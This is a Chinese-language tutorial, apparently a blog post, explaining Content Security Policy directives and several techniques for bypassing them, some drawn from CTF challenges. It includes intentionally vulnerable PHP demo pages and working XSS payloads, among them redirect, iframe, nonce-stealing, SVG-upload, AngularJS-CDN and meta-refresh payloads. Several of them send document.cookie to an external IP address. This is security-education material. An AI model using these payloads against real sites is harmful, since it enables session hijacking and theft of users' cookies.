CSP(Content Security Policy)即内容安全策略,为了缓解很大一部分潜在的跨站脚本问题,浏览器的扩展程序系统引入了内容安全策略(CSP)的一般概念。这将引入一些相当严格的策略,会使扩展程序在默认情况下更加安全,开发者可以创建并强制应用一些规则,管理网站允许加载的内容。
CSP的实质就是白名单机制,对网站加载或执行的资源进行安全策略的控制。
CSP中常见的header字段为Content-Security-Policy。
一个CSP头由多组CSP策略组成,中间由分号分隔,如下:
Content-Security-Policy: default-src 'self' www.baidu.com; script-src 'unsafe-inline'
其中每一组策略包含一个策略指令和一个内容源列表。
default-src
作为所有其他指令的备用,一般来说default-src 'none'; script-src 'self'
这样的情况就会是script-src
遵循 self,其他的都会使用 none。也就是说,除了被设置的指令以外,其余指令都会被设置为default-src
指令所设置的属性。
script-src
指令限制了所有js脚本可以被执行的地方,包括通过链接方式加载的脚本url以及所有内联脚本,甚至包括各种方式的引用。其中还有一个很重要的参数叫'unsafe-inline'
,如果加上这个参数,就不会阻止内联脚本,但这被认为是不安全的。
对于这个属性有个特殊的配置叫unsafe-eval
,它会允许下面几个函数:
eval() Function() setTimeout() with an initial argument which is not callable.setInterval() with an initial argument which is not callable.
'none'
代表空集;即不匹配任何 URL。两侧单引号是必须的。
'self'
代表和文档同源,包括相同的 URL 协议和端口号。两侧单引号是必须的。
'unsafe-inline'
允许使用内联资源,如内联的script元素、javascript: URL
、内联的事件处理函数和内联的style元素,两侧单引号是必须的。
'unsafe-eval'
允许使用 eval()
等通过字符串创建代码的方法。两侧单引号是必须的。
data
:
允许data: URI作为内容来源。
mediastream
:
允许mediastream: URI
作为内容来源。
Content-Security-Policy: default-src 'self'; img-src 'self' data:; media-src mediastream:
这里几种绕过思路能打到cookie的都会给打到cookie的payload,没有打cookie的可能是我没有想到,希望师傅们批评指点!
demo:
<?php if (!isset($_COOKIE['cl4y'])) { setcookie('cl4y',md5(rand(0,1000))); } header("Content-Security-Policy: default-src 'self';"); ?> <!DOCTYPE html> <html> <head> <title>CSP Test</title> </head> <body> <h2>CSP-safe</h2> <?php if (isset($_GET['cl4y'])) { echo "Your GET content:".@$_GET['cl4y']; }// ?> </body>
大部分情况,csp不会限制跳转,CSP如果限制跳转会影响很多的网站功能;或者是script-src 'unsafe-inline';
这条规则。
这个地方可以用location跳转:location.href(window.location/window.open)绕过
127.0.0.1/csp/?cl4y=<script>location.href='http://118.25.14.40:8200/cookie/'%2bescape(document.cookie);</script>
利用条件:
script-src 'unsafe-inline';
如果有以下两个页面:
<!--safe.php--> <?php if (!isset($_COOKIE['cl4y'])) { setcookie('cl4y',md5(rand(0,1000))); } header("Content-Security-Policy: default-src 'self';"); ?> <!DOCTYPE html> <html> <head> <title>CSP Test</title> </head> <body> <h2>CSP-safe</h2> <?php if (isset($_GET['cl4y'])) { echo "Your GET content:".@$_GET['cl4y']; }// ?> </body> <!--index.php--> <!DOCTYPE html> <html> <head> <title>CSP Test</title> </head> <body> <h2>CSP</h2> <?php if (isset($_GET['cl4y'])) { echo "Your GET content:".@$_GET['cl4y']; }// ?> </body>
safe.php做了csp防护,而index.php没有:
这里可以在index页面新建iframe用javascript直接操作safe页面的dom:
<!--xss代码,要注意url编码--> <script> var iframe = document.createElement('iframe'); iframe.src="./safe.php"; document.body.appendChild(iframe); setTimeout(()=>location.href='http://118.25.14.40:8200/cookie/'+escape(document.cookie),1000); </script>
利用条件:
一般来说,前端会用到许多的前端框架和库,部分企业为了减轻服务器压力或者其他原因,可能会引用其他CDN上的JS框架,如果CDN上存在一些低版本的框架,就可能存在绕过CSP的风险
这里给出orange师傅绕hackmd CSP的文章 Hackmd XSS
案例中hackmd中CSP引用了cloudflare.com CDN服务,于是orange师傅采用了低版本的angular js模板注入来绕过CSP,如下
<!-- foo="--> <script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.min.js> </script> <div ng-app> {{constructor.constructor('alert(document.cookie)')()}} </div> //sssss" -->
大概讲一下:因为原来waf对注释完全可信,所以构造一个<!-- foo="bar--> <script>alert(1)</script>" -->
,所以只要闭合注释内容,就可以让后面的完全可控,再加上Client-Side Template Injection中的手法,绕过csp。
这个是存在低版本angular js的cdn服务商列表
除了低版本angular js的模板注入,还有许多库可以绕过CSP
下面引用文章
如果用了Jquery-mobile库,且CSP中包含"script-src 'unsafe-eval'"或者"script-src 'strict-dynamic'",可以用此exp
<div data-role=popup id='<script>alert(1)</script>'></div>
还比如RCTF2018题目出现的AMP库,下面的标签可以获取名字为FLAG的cookie
<amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>
blackhat2017有篇ppt总结了可以被用来绕过CSP的一些JS库
利用条件:
给一个绕过codimd的(实例)codimd xss
案例中codimd的CSP中使用了google-analytics
而analytics中提供了自定义javascript的功能(google会封装自定义的js,所以还需要unsafe-eval),于是可以绕过CSP
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'unsafe-eval' https://www.google-analytics.com"> <script src="https://www.google-analytics.com/gtm/js?id=GTM-PJF5W64"></script>
同理,若其他站点下提供了可控静态资源的功能,且CSP中允许了此站点,则可以采用此方式绕过
利用条件:
当服务器CSP script-src采用了nonce时,如果只设置了default-src没有额外设置base-uri,就可以使用<base>标签使当前页面上下文为自己的vps,如果页面中的合法script标签采用了相对路径,那么最终加载的js就是针对base标签中指定url的相对路径:
default-src 'self'; script-src 'nonce-test'
考虑下下列场景,如果存在这样场景,该怎么绕过CSP
<?php if (!isset($_COOKIE['cl4y'])) { setcookie('cl4y',md5(rand(0,1000))); } header("Content-Security-Policy: default-src 'self'; script-src 'nonce-secret'"); ?> <!DOCTYPE html> <html> <head> <title>CSP Test</title> </head> <body> <h2>CSP-safe</h2> <?php if (isset($_GET['cl4y'])) { echo "Your GET content:".@$_GET['cl4y']; }// ?> <script nonce='secret'> //do some thing </script> </body>
如果我们输入127.0.0.1/csp/safe.php?cl4y=<script src=data:text/plain,location.href='http://118.25.14.40:8200/?cookie'+escape(document.cookie);
即可xss
这是因为当浏览器碰到一个左尖括号时,会变成标签开始状态,然后会一直持续到碰到右尖括号为止,在其中的数据都会被当成标签名或者属性,所以第五行的<script
会变成一个属性,值为空,之后的nonce='secret'
会被当成我们输入的script的标签的一个属性,相当于我们盗取了合法的script标签中的nonce,于是成功绕过了scripr-src
SVG 是使用 XML 来描述二维图形和绘图程序的语言,且SVG标准中也定义了script标签的存在,所以如果页面中存在上传功能,并且没有过滤svg,那么可以通过上传恶意svg图像来xss。
<?xml version="1.0" encoding="UTF-8" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve"> <image id="image0" width="751" height="751" x="0" y="0" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" /> <script>location.href='http://118.25.14.40:8200/?cookie'+escape(document.cookie);</script> </svg>
看看下面的例子,我们如何把flag给带出来
<?php if (!isset($_COOKIE['cl4y'])) { setcookie('cl4y',md5(rand(0,1000))); } header("Content-Security-Policy: default-src 'self';script-src 'self'; img-src *;"); ?> <!DOCTYPE html> <html> <head> <title>CSP Test</title> </head> <body> <h2>CSP-safe</h2> <?php if (isset($_GET['cl4y'])) { echo "Your GET content:".@$_GET['cl4y']; }// ?> <h1>flag{0xffff}</h1> <h2 id="id">3</h2> </body>
这里可以注意到img用了*
,有些网站会用很多外链图片,所以这个情况并不少见虽然我们可以新建任意标签,但是由于CSP我们的JS并不能执行(没有unsafe-inline),于是我们可以用不完整的<img
标签来将数据带出:
这个情况的话,可以利用meta标签实现网页跳转:
127.0.0.1/csp/?cl4y=<meta http-equiv="refresh" content="1;url=http://118.25.14.40:8200/" >
HCTF2018的一道题,当一个页面存在CRLF漏洞时,且我们的可控点在CSP上方,就可以通过注入回车换行,将CSP挤到HTTP返回体中,这样就绕过了CSP
原题github https://github.com/Lou00/HCTF2018_Bottle